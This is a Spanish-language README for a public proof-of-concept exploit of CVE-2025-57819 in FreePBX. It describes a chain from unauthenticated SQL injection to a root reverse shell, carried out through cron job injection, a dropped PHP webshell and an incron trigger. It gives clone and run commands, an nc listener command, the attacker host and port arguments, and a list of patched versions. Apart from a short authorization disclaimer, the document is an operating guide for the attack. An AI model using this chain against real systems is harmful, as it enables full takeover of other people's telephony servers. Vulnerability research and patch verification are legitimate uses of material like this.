CVE-2025-57819 — FreePBX SQLi → RCE → Root

PoC de cadena completa para CVE-2025-57819. La inyección SQL basada en errores no autenticada en el módulo endpoint de FreePBX encadena hasta una shell root mediante la inyección de trabajos cron y la escalada de privilegios por incron.

Solo para pruebas autorizadas e investigación. No lo uses contra sistemas que no sean tuyos.

---

Qué hace

SQLi (EXTRACTVALUE) → INSERT cron job → webshell drop → incron trigger → root shell

1. Extrae información de la BD mediante inyección basada en errores en /admin/ajax.php
2. Inyecta un trabajo cron que escribe una webshell PHP en la raíz web
3. Espera a que se ejecute cron (~60s) y confirma RCE como asterisk
4. Crea un archivo de disparo incron que ejecuta el hook de fwconsole como root
5. Captura la reverse shell en tu listener

---

Instalación

git clone https://github.com/ozcanpng/CVE-2025-57819-FreePBX-RCE2Root
cd CVE-2025-57819-FreePBX-RCE2Root
pip install -r requirements.txt

---

Uso

python3 CVE-2025-57819.py <target> <lhost> <lport> [--cleanup]

Inicia un listener primero:

nc -lvnp 9999

Luego ejecuta:

python3 CVE-2025-57819.py freepbx.example.com 192.168.1.50 9999

--cleanup elimina la webshell y el trabajo cron después de la explotación.

---

Afectados

FreePBX con el módulo endpoint instalado. El parámetro brand en /admin/ajax.php se pasa sin sanitizar a una consulta SQL.

FreePBX	Patched Version
15.x	15.0.66
16.x	16.0.89
17.x	17.0.3

---

Referencias

• Aviso de seguridad de FreePBX GHSA-m42g-xg4c-5f3h
• NVD — CVE-2025-57819

---

Autor

ozcanpng — github.com/ozcanpng — ozcanpng.dev